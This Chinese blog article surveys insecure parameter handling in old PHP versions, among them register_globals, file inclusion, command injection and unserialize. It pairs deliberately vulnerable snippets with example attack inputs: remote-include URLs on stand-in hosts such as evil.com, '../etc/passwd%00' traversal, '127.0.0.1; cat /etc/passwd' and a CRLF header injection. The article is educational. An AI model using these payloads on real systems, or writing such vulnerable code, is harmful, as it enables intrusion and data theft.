news 2026/4/23 11:50:17

php低版本非法传参机制

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
php低版本非法传参机制

1.全局变量自动注册

register_globals = On(PHP 4.2.0前默认开启,PHP 5.4.0移除):

// URL: index.php?is_admin=1 if ($is_admin) { // 直接访问URL参数 grant_admin_privileges(); } // 攻击者可直接传入?is_admin=1获得管理员权限

安全影响

  • 任何GET/POST/COOKIE参数都会自动成为全局变量

  • 变量覆盖攻击

  • 权限绕过

2.未过滤的输入

未使用过滤函数(PHP 5.2前):

// PHP 4.x 常见写法 $username = $_GET['username']; // 直接使用 $sql = "SELECT * FROM users WHERE username='$username'"; // SQL注入:username=' OR '1'='1

问题

  • filter_var()mysqli_real_escape_string()强制使用

  • 魔术引号(magic_quotes_gpc)的伪安全


3.魔术引号(Magic Quotes)

magic_quotes_gpc = On(PHP 5.4.0移除):

// 自动转义:' -> \', " -> \", \ -> \\ $input = $_GET['input']; // 自动转义 echo $input; // 显示原始内容,但数据库已转义

问题

  • 虚假安全感,开发者以为已安全

  • 双重转义:O\'Reilly

  • 破坏二进制数据


4.文件包含路径穿越

allow_url_include = On(PHP 5.2前默认):

// PHP 4.x/5.x include($_GET['page'] . '.php'); // 攻击:?page=http://evil.com/shell // 或 ?page=../../../etc/passwd%00

漏洞利用

// 远程文件包含 include("http://attacker.com/shell.txt"); // 本地文件包含 + null字节截断 include($_GET['file'] . '.php'); // ?file=../../../etc/passwd%00

5. 可变量变量

可变变量滥用:

// 从用户输入控制变量名 $_ = $_GET['action']; $$_ = $_GET['value']; // 攻击:?action=config&value=HACKED // 结果:$config = "HACKED"

extract()危险使用

// 将数组键名转为变量 extract($_GET); // 攻击:?is_admin=1&logged_in=1 // 覆盖已有变量

6.Session安全问题

session.use_trans_sid = 1(自动在URL中添加session id):

// URL自动包含PHPSESSID <a href="page.php">链接</a> // 生成:<a href="page.php?PHPSESSID=abc123">链接</a>

session固定攻击

// 低版本可预测session id session_id($_GET['sessid']); // 攻击者指定session id session_start();

7.HTTP头部注入

header()不验证输入

// PHP 5.1.x $redirect = $_GET['redirect']; header("Location: " . $redirect); // 攻击:?redirect=http://evil.com\r\nSet-Cookie: admin=1

8.命令注入

危险函数未过滤

// PHP 4.x常见代码 $cmd = "ping " . $_GET['ip']; system($cmd); // 攻击:127.0.0.1; cat /etc/passwd

相关函数:

  • system(),exec(),shell_exec()

  • passthru(),popen(),proc_open()

  • 反引号(`command`


9.反序列化漏洞

PHP 5.x的__wakeup()问题

class Example { public $data; public function __wakeup() { system($this->data); // 危险 } } $obj = unserialize($_GET['data']); // 攻击:data=O:7:"Example":1:{s:4:"data";s:9:"cat /etc/passwd";}

10.危险配置组合

php.ini危险配置

; PHP 4.x/5.x典型危险配置 register_globals = On allow_url_fopen = On allow_url_include = On safe_mode = Off display_errors = On

11.常见漏洞模式

模式1:直接包含动态文件

// file.php $page = $_GET['page']; include($page . '.php'); // LFI:?page=../../../../etc/passwd%00 // RFI:?page=http://evil.com/shell.txt

模式2:未验证数组键存在

// PHP 4.x常见 $id = $HTTP_GET_VARS['id']; // 超全局数组 if ($id) { // 可能为0 // ... }

模式3:eval()动态代码

$code = $_GET['code']; eval($code); // 直接执行任意代码

关键历史版本变化

  • PHP 4.2.0register_globals默认关闭

  • PHP 5.3.0:弃用magic_quotes_gpc

  • PHP 5.4.0:移除register_globalsmagic_quotes_gpc

  • PHP 5.6.0:默认default_charset = UTF-8

  • PHP 7.0.0:移除mysql_*函数

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/16 13:34:36

实现ai循环中插入用户对话的方法

全局变量设置一个用户对话内容&#xff0c;初始化为空然后再input的prompt里面加入这个变量用户输入的时候就会加到prompt里面没输入就是空变量这轮用完就reset

作者头像 李华
网站建设 2026/4/23 11:30:35

从人鼠到植物:SEdb 3.0数据库一站式检索与分析超级增强子调控网络

超级增强子&#xff08;SE&#xff09;作为驱动细胞身份决定和关键致病基因表达的核心调控元件&#xff0c;一直是表观遗传学领域的研究热点&#xff0c;也是近年国自然的热点。然而&#xff0c;长期以来&#xff0c;相关的数据资源和注释工具主要集中于人类和小鼠模型。对于植…

作者头像 李华
网站建设 2026/4/8 13:08:03

巴菲特的市场看法与经济预测

巴菲特的市场看法与经济预测 关键词&#xff1a;巴菲特、市场看法、经济预测、价值投资、金融市场、宏观经济、投资策略 摘要&#xff1a;本文深入探讨了巴菲特的市场看法与经济预测相关内容。从背景介绍出发&#xff0c;阐述了研究巴菲特观点的目的、预期读者、文档结构和相关…

作者头像 李华
网站建设 2026/4/23 11:28:56

价值投资中的择股技巧

价值投资中的择股技巧 关键词&#xff1a;价值投资、择股技巧、基本面分析、财务指标、行业分析 摘要&#xff1a;本文围绕价值投资中的择股技巧展开深入探讨。首先介绍了价值投资及择股技巧的背景知识&#xff0c;包括目的、预期读者、文档结构和相关术语。接着阐述了核心概念…

作者头像 李华